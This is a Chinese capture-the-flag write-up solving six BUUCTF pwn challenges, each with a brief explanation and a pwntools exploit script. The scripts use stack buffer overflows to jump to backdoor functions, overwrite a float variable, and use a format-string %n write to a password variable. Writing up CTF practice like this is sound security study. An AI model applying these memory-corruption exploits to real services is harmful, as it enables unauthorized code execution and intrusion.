BUU-pwn(一)

rip

简单栈溢出，后门函数
exp

from pwn import *
#io=process("./pwn")
r = remote('node4.buuoj.cn',25253)

payload=b'a'*0xf+b'a'*0x08+p64(0x0401187)
r.sendline(payload)
r.interactive()

warmup_csaw_2016

后门函数 int sub_40060D() 泄露地址
exp

from pwn import *
#io=process("./pwn")
r = remote('node4.buuoj.cn',29416)
r.recvuntil('WOW:')

addr = int(r.recv(8),16)
print(addr)
payload=b'a'*0x40+b'a'*0x8+p64(addr)
r.sendlineafter('>',payload)
r.interactive()

ciscn_2019_n_1

使用 IEEE 754浮点数十六进制相互转换 转换地址
exp

from pwn import *
#io=process("./pwn")
r = remote('node4.buuoj.cn',25891)

payload=b'a'*(0x30-0x4)+p64(0x41348000)
r.sendlineafter('Let\'s guess the number.',payload)
r.interactive()

pwn1_sctf_2016

有后门函数
s开辟了3C空间，但是fgets只能读32字节，最后的strcpy利用之间的将 I 转为 you 长度直接变大造成溢出

exp

from pwn import *
#io=process("./pwn")
r = remote('node4.buuoj.cn',28969)
#0x14 = 20字节长度
payload=b'I'*(0x14)+b'a'*0x4+p32(0x8048f0d)
r.sendline(payload)
r.interactive()

jarvisoj_level0

from pwn import *
#io=process("./pwn")
r = remote('node4.buuoj.cn',27802)

payload=b'a'*(0x80)+b'a'*0x8+p64(0x0400596)
r.sendlineafter('Hello, World\n',payload)
r.interactive()

[第五空间2019 决赛]PWN5

格式化控制passwd

偏移量为10

passwd地址为 0804C044 长度为 4

from pwn import *
#io=process("./pwn")
r = remote('node4.buuoj.cn',25323)

payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload+=b'%10$n%11$n%12$n%13$n'

r.sendline(payload)
r.sendline(str(0x10101010))
r.interactive()